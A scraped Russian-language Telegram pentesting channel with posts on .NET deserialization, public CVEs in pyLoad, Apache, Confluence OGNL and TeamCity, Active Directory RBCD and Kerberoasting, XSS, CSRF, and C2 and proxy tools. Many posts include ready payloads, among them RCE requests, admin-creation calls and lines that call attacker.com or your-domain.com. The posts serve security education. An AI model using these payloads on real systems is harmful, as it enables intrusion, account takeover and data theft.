Monkey Hacker – Telegram
Monkey Hacker
790 subscribers
16 photos
1 video
2 files
51 links
Мартышка просто хочет научиться пентестить
Download Telegram
Insecure Deserialization in C#

Фреймворк .NET предлагает нам различные способы сериализации наших объектов 😫

Смотрим BinaryFormatter

using System.Runtime.Serialization.Formatters.Binary;
public class SomeClass
{
public string SomeProperty { get; set; }
public double SomeOtherProperty { get; set; }
}
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(obj.SomeProperty);
Console.WriteLine(obj.SomeOtherProperty);
}
}

Предлагаю немного посмотреть на используемые классы и методы.

BinaryFormatter() - по факту сериализует и десериализует объекты. Замечу что сами Microsoft в своей документации пишут, что тип BinaryFormatter является небезопасным и устаревшим. Достается из либы System.Runtime.Serialization.Formatters.Binary

MemoryStream() - помогает уже читать и записывать данные с помощью памяти в качестве резервного хранилища. Его вообще также не рекомендуют использовать, однако по заявлениям сообщества аналогов нету. Из-за своей специфики он чаще всего может привести вас к OutOfMemoryException. Про его проблемы рекомендую лучше почитать статью, в котором кратко, но поясняют его проблемы и как их решать

Смотрим ObjectDataProvider

Класс ObjectDataProvider оборачивает и создает объект, который можно использовать в качестве источника привязки. Звучит не очень, знаю. 🤓
Говоря по простому, класс позволяет использовать MethodParameters для установки произвольных параметров, а затем использовать MethodName для вызова функции объекта, объявленной с использованием произвольных параметров.
Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.

Вот пример кода, как это все работает:

using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}


Необходимо добавить в качестве ссылки C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для того, чтобы загрузить System.Windows.Data, иначе код не скомпилируется 👀

YSOSERIAL.NET

Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.

Играемся с ViewState

Как-то раз была статья об эксплуатации десериализации в ASP.NET через ViewState
ViewState - это метод, в ASP.NET. Используется для сохранения значений страницы и элементов управления между страницами. Когда HTML для страницы отображает, текущее состояние страницы и значения, которые должны быть сохранены при возврате, то они сериализуются в base64 и хранятся в параметре ViewState.
Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через ysoserial.net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

И получаем большой ответ в виде base64 и пихаем его в ViewState
Please open Telegram to view this post
VIEW IN TELEGRAM
6
Произошел абьюз PPL

Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.

Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.

Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault

Держите 👍

https://github.com/gabriellandau/PPLFault
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔
👍8
Пора решать таски по байпассу IDS на PhD 👍
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔4🗿2👍1
Monkey Hacker
Пора решать таски по байпассу IDS на PhD 👍
Занял в итоге 5-ое место и получил небольшой мерч в виде рюкзака и футболки.
Был под ником Barsik
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥61
Pre-auth RCE in pyLoad (CVE-2023-0297)

pyLoad - это менеджер загрузки OSS, написанный на Python и управляемый через веб-интерфейс. В нем недавно нашли вулну и зарепортили на бб, связанную с js2py. Кратко это интеграция JS в Python 😁

В функции eval_js(), заметили момент, что параметр jk выполняет JS код. Люди поковырялись и поняли, что туда спокойно можно положить любую команду.

Ну и получилось так

POST /amogus/test HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaa
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍1🔥1
Apache HTTP-Request-Smuggling (CVE-2023-25690)

Где-то в апреле была шумиха с новой вулной в Apache, когда mod_proxy вместе с правилами RewriteRule и ProxyPassMatch, приводил к HTTP-Request-Smuggling

В первом случае был следующий прикол

Пользователь запрашивает URL https://testik.com/categories/1, а RewriteRule сопоставляет URL и захватывает значение 1 с помощью регулярного выражения ^/categories/(.*). Затем правило переписывает URL на http://testik.com:8080/categories?id=1, добавляя перехваченное значение к переписанному URL в качестве id параметра запроса.

ProxyPassReverse, уже просто заменяет домен и адрес внутреннего сервера на домен и адрес прокси-сервера, чтобы клиент мог правильно переходить по ссылкам и получать доступ к контенту с проксированного внутреннего сервера /categories/ http://example-shop.com:8080/. Весело, да?


Плюс, замечу, что Apache был уязвим еще к CRLF-injection, который нам будет нужен в дальнейшем

Для его эксплуатации мы уже имеем следующиим запрос

GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: localhost


И теперь делаем смагглинг запрос

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: localhost


И ответ будет следующий

GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend
8🔥2
Произошел небольшой абьюз ADSI + MSSQL Linked Servers

Чуваки с Black Arrow представили новую технику по получению пароля, используя MSSQL и ADSI (позволяет выполнять запросы по LDAP)
5
Account Takeover via Microsoft OAuth Misconfiguration by descope

nOAuth - это недостаток авторизации OAuth через Microsoft Azure AD. Был он найден командой descope

Атака объединяет учетные записи пользователей без проверки, и дает полный контроль над учетной записью жертвы.
👍52
Hello from the other side of the world

Собрал небольшой список тулзов, связанные с проксированием трафика. 🚘

Proxychains - без комментариев

GrafTCP - то же самое, что и proxychains, с другим механизмом "проксификации", который позволяет использовать Go.

Chisel - тоже популярный инструмент на Go, однако все же стоит упомянуть о нем. Могут быть проблемы при использовании разных версиях на клиентской или серверной стороне.

Еще другой пользователь писал SharpChisel, который является тем же chisel, но на C# уже, однако замечу, что проект не поддерживается с 2020 года

Shadowsocks-Windows - shadowsocks на C#

Gost - как и chisel, тулза тоже сделана на Go, однако замечу, что помимо стандартной прокси, у вас есть возможность поставить прокси с аутентификацией, multiple-ports, а также сделать как просто forward proxy, так и многоуровневый forward proxy. Thx to riven

Bore - по словам автора, тулза насчитывает около 400 строк безопасного, асинхронного Rust и очень проста в настройке - достаточно запустить один двоичный файл для клиента и сервера. Скажу от себя, что работает достаточно быстро

FRP - опять Go, тут уже позволяет нам использовать какой-то конфиг файл, token/oidc аутентификация, bandwidth лимит, поддержка KCP/QUIC и много чего другого.

GoProxy - хороша для VPS, больше нечего сказать

Mubeng - хороша для ротации IP

Ligolo - простой в использовании. Как написано на гите: «Reverse Tunneling made easy for pentesters, by pentesters»

Pivotnacci - хорошая замена reGeorg, который проксировал HTTP

proxy.py - тоже отличная альтернатива reGeorg

ligolo-ng - вместо SOCKS, создает интерфейс, который также можно использовать для pivoting. Thx to D00Movenok

Если кто-то дополнит, то буду рад 😘
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍3🔥3🤔1
Forwarded from RedTeam brazzers (sn🥶vvcr💥sh)
В выпуске «За кулисами Red Team» @Riocool упоминает, что на пентестах помимо скриншотов десктопа бывает сподручно делать снимки с веб-камеры на контролируемой рабочей станции, чтобы убедиться, находится ли юзверь в данный момент за ПеКа, либо же, к примеру, отлучился на свой закономерный обеденный перерыв. Раньше я не прибегал к подобному трюку, однако подсознательно часто испытывал потребность в такого рода проверках, ведь ворваться в GUI-сеанс определенного пользователя временами бывает просто необходимо.

Поискав готовые решения в сети, стало очевидно, что «из коробки» капчурить вебку умеет только дедушка meterpreter, а встраивать поделки на плюсах в свои проекты для выполнения из памяти не всегда удобно. Еще немного погуглив, наткнулся на этот интересный пост на Медиуме, где в параграфе Webcam Capture упоминается некий скрипт MiniEye.ps1 от @xorrior, который якобы уже умеет делать все, что нам нужно (ссылка на скрипт из статьи отдает 404, инструмент переехал в корень репозитория – Get-DXWebcamVideo.ps1). Подход основан на использовании .NET-библиотеки DirectShowNET и обвязки для нее DirectX.Capture, блог автора которой на CodeProject также рекомендую к прочтению:

🗒 DirectX.Capture Class Library

В свободное время было решено переписать Get-DXWebcamVideo.ps1 на фреймворк, чтобы не возиться лишний раз с запуском повершелла. Смержив зависимости с помощью dnMerge, можно получить standalone-сборку, готовую для выполнения из вашего любимого агента C2:

👨‍💻 https://github.com/snovvcrash/SharpDXWebcam

⚠️ Помним, что инструмент предназначен исключительно для образовательных целей и кейсов этичного тестирования на проникновение в рамках контракта, а блэчить плохо!

Всем остальным – happy (ethical) hacking!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32
Play with Domain via PassTheCert

Часто для захвата домена используется PKINIT, который позволяет получить TGT (или его NT-хэш). Сам же PKINIT представляет из себя механизм для предварительной аутентификации в Kerberos, который использует сертификаты X.509 в аутентификации KDC для клиентов и наоборот (хотя иногда позволяет клиенту получить билет, не выполняя аутентификацию).

Однако, DC не всегда поддерживает PKINIT. Это может быть связано с отсутствием Smart Card Logon. И тут нам уже поможет LDAP, позволяющий аутентифицироваться с помощью клиентского сертификата и выполнять различные действия. Для таких случаев ребята написали тулзу PassTheCert 🎧

PassTheCert позволяет выполнять различные вектора атак

Предоставление пользователю прав DCSync

Модификация атрибута msDS-AllowedToActOnBehalfOfOtherIdentity

Добавление компьютера в домен, что полезно для выполнения RBCD-атак.

Сброс пароля учетной записи. Но без прав User-Force-Change-Password это не сработает

Я рассматривал использование данной тулзы в последнем случае

python3 passthecert.py -dc-ip 10.10.10.X -action modify_user -crt user.crt -key user.key -domain corp.com -target aboba -new-pass
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍3👏1
Forwarded from Похек (Sergey Zybnev)
📣Список импактов, которые можно получить от эксплуатации XSS

Представьте вы нашли XSS, но если её сдать просто так, то вам вряд ли поставят высокий уровень угрозы. Тогда вам следует сначала понять какой максимальную урон вы можете воспроизвести с помощью найденной уязвимости. Чем понятнее вы опиши свой импакт, тем выше вероятность что вам заплатят больше и могут даже апнуть уровень угрозы.

⬇️XSS⬇️
* Change email -> password reset
* Change password
* Change phone -> SMS password reset
* Change security questions
* Add SSO login (login with GitHub, ect)
* Force logout -> Session Fixation
* Steal session token via non-HTTP only cookie
* Steal session token via insecure embed in page
* Steal API key for application
* Add admin user to organization
* Hijack oAuth flow and steal code
* Steal SSO code to adjacent app, then reverse SSO back to main app
* Add authentication method (SMS, email, etc)
* Gain access to refresh token for JWT or session

📌Добавляйте свои варианты в комментариях и расшарьте по чатам багхантеров. Уверен, коллеги смогут добавить свои идеи :)

#bugbounty

Дневник Безопасника 🛡
Please open Telegram to view this post
VIEW IN TELEGRAM
👍61
Computer Object Takeover

Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом Generic

Если в сетке есть пользователь с правами GenericWrite, то возможно зайти с повышенными привилегиями на другой тачке

Данный сценарий возможен, т.к Generic позволяет изменять DACL 🔥


Для этого мы создаем новую учетку тачки. По дефолту параметр ms-DS-MachineAccountQuota позволяет всем пользователям домена добавлять до 10 учетных записей машин

SID в принципе и сами можете вставить, но решил чуть облегчить процесс 🐈

New-MachineAccount -MachineAccount aboba -Password $(ConvertTo-SecureString
'Test@123' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Domain dev.domain.local aboba -Properties objectsid | select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDenoscriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc02.domain.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}


После этого можно использовать тот же Rubeus, для получения RC4-хэша.

Rubeus.exe hash /user:aboba /password:Test@123 /domain:dev.domain.local

И затем юзаем s4u для повышения своих привилегий за счет получения TGS

Rubeus.exe s4u /user:aboba$ /rc4:4E35B802576F770E77851BAB9D4AE172 /impersonateuser:administrator /msdsspn:cifs/dc02.domain.local /ptt

Для облегчения я юзал PowerMad и PowerView

Bye-bye 🎧
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍4🌭2
Всем, ку
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)

Всем хорошо провести мероприятие 😇
Please open Telegram to view this post
VIEW IN TELEGRAM
👍65
OGNL and sandboxes

Существует такая вещь в Java, как Object Graph Notation Language (OGNL) еще один Expression language. Чаще всего данный фреймворк можно заметить в продуктах Apache и Attlasian

OGNL вызывает методы несколько иначе, чем Java, поскольку OGNL интерпретируется и должен выбрать нужный метод во время выполнения программы, не имея никакой дополнительной информации о типе, кроме собственно предоставленных аргументов. OGNL всегда выбирает наиболее специфичный метод, типы которого соответствуют заданным аргументам

Спустя время, выяснилось, что через OGNL можно также сделать Command Injection. Метод эксплуатации чем-то напоминает SSTI 😻

Разберу пару вулн в Confluence. Проблемы появлялись из-за isSafeExpression

При рендеринге странице, есть спрятанный параметр queryString 😑

Именно он дает нам возможность, поиграться с Java

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl your-domain.com\u0022)}%2b\u0027

Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень (не забудь энкодить)👍

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}

Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.

Самое банальное - это использовать Class, вместо class. Или использовать конкатенацию строк.

Дальше, один из экспертов решил пойти глубже и начал смотреть Abstract Syntax Tree (AST). Как оказалось, AST давал много векторов, для обхода ограничений

Самое вкусное было найдено в BeanMap, который позволял сделать, уже полноценный байпасс

(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.noscript.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))

Всем удачи 😇
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🔥31
Forwarded from SHADOW:Group
🦊 Про кастомные элементы в DOM

Иногда бывает полезно посмотреть customElements.define() в библиотеках и внутреннем JS-коде. Эта функция регистрирует новые элементы DOM, и WAF свободно пропускает их.

На скрине внизу показан стандартный JS для PyScript, в котором создается элемент <py-noscript>, что приводит к интересному байпасу:

<py-noscript>'\74img/src/onerror\75alert(domain)\76'</py-noscript>

Попробовать самостоятельно можно тут.

#web #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
👍62
Token that gives me power

Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с RPC2

В целом стоит начать, что TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на Java

Ребята нашли интересный дифф в методе XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера.

/app/rest/users/<userLocator>/tokens/<tokenName>

Отсюда мы имеем следующий сценарий

Получаем токен администратора

POST /app/rest/users/id:1/tokens/RPC2

С его помощью, мы теперь можем создать пользователя с админскими правами

POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"

Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)

POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true

Не забываем все это применить к текущему конфигу

POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties

И теперь мы имеем возможность исполнять команды

POST /app/rest/debug/processes?exePath=id


Не забываем удалять токен

DELETE /app/rest/users/id:1/tokens/RPC2
🌭7👍43🗿2
Forwarded from frozen@rivens.life (Danila Sashchenko)
То, что уже не должно встречаться, но все еще встречается (#bb_tips?).
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить CSRF было бы грехом. Однако, общение с бэкендом происходит через Rest с использованием Content-type: application/json. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..?

Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json ставим application/x-www-form-urlencoded, а тело запроса оставляем прежним :).
Сразу хочется отметить, что burp не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться:

<noscript>
let req = new XMLHttpRequest();
req.open("POST", "https://vulnerable.host/api/profile/update", false);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.withCredentials = true;

var params = '{"first_name":"riven","last_name":"riven","birthday":"01/01/1337", "password":"pwned"}';
console.log(params);
req.send(params);
</noscript>
👍7🌭2
Please, provide command…

Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком. 🔥

Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая HTTP, WireGuard, DNS и т.д. Плюс, был недавно набор статей по его кастомизации 👍

Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная

Merlin - данный C2 популярен за обширность предоставляемых модулей для AD, но только не каждый из них корректно работает. Автор заявлял, что агент можно легко модифицировать под себя, но в пабликах не видел агентов, основанных на нем

Godoh - самый простой C2, однако для коннекта использует протокол DNS-over-HTTPS 🙂

Havoc - очень похож на Cobalt Strike, имеет в себе много различных модулей. Его фичей считают Sleep obfuscation, основанный на Ekko (thx to D00Movenok )

PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на C# (хотя поддерживает еще модули, основанные на Python)

По детекту понравилась статья от ProjectDiscovery

Наверно все 🚶‍♀️

Пока писал, тут выкатили статью по C2C
Please open Telegram to view this post
VIEW IN TELEGRAM
11🌭3🔥1
Мне как-то стало интересно, каким образом фиксируются манипуляции с Kerberos, поэтому решил порыть базовые вещи. Разбираться будем сегодня с TGS

Rubeus.exe kerberoast /nowrap


Мы можем видеть, что он отправляет следующий LDAP запрос

(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))


(samAccountType=805306368) - получаем доменных пользователей

(servicePrincipalName=*) - получаем все SPN в домене

(!samAccountName=krbtgt) - убираем из вывода krbtgt

(!(UserAccountControl:1.2.840.113556.1.4.803:=2)) - смотрим, что УЗ не заблокирована.


Тут уже начинается детект у многих. Вся проблема в servicePrincipalNames=*, который SOC ловит, т.к мы получаем список всех SPN. Лучше определить учетные записи с SPN и только потом делать уже запрос

Rubeus.exe kerberoast /nowrap /user:svc_chat /spn:HTTP/sus.monkey.local


Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг /tgtdeleg. Однако, в идеале тикеты и его содержимое мониторят.

Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют KDCOptions. Нормальным поведением является, если значение KDCOptions равно 0x40810000, однако при попытке поиграться с тикетами, мы можем заметить другое значение 0x40810010. Если их сравнивать, то можем понять, что нам надо избавиться от Renewable-OK, и с этим уже может помочь тулза Orpheus, которая подправит флаги.

Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на LastLogon, который может намекнуть на фальшивость УЗ. Ну и наличие высоких привилегий, тоже дает намек

Bye-bye
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🌭43👎1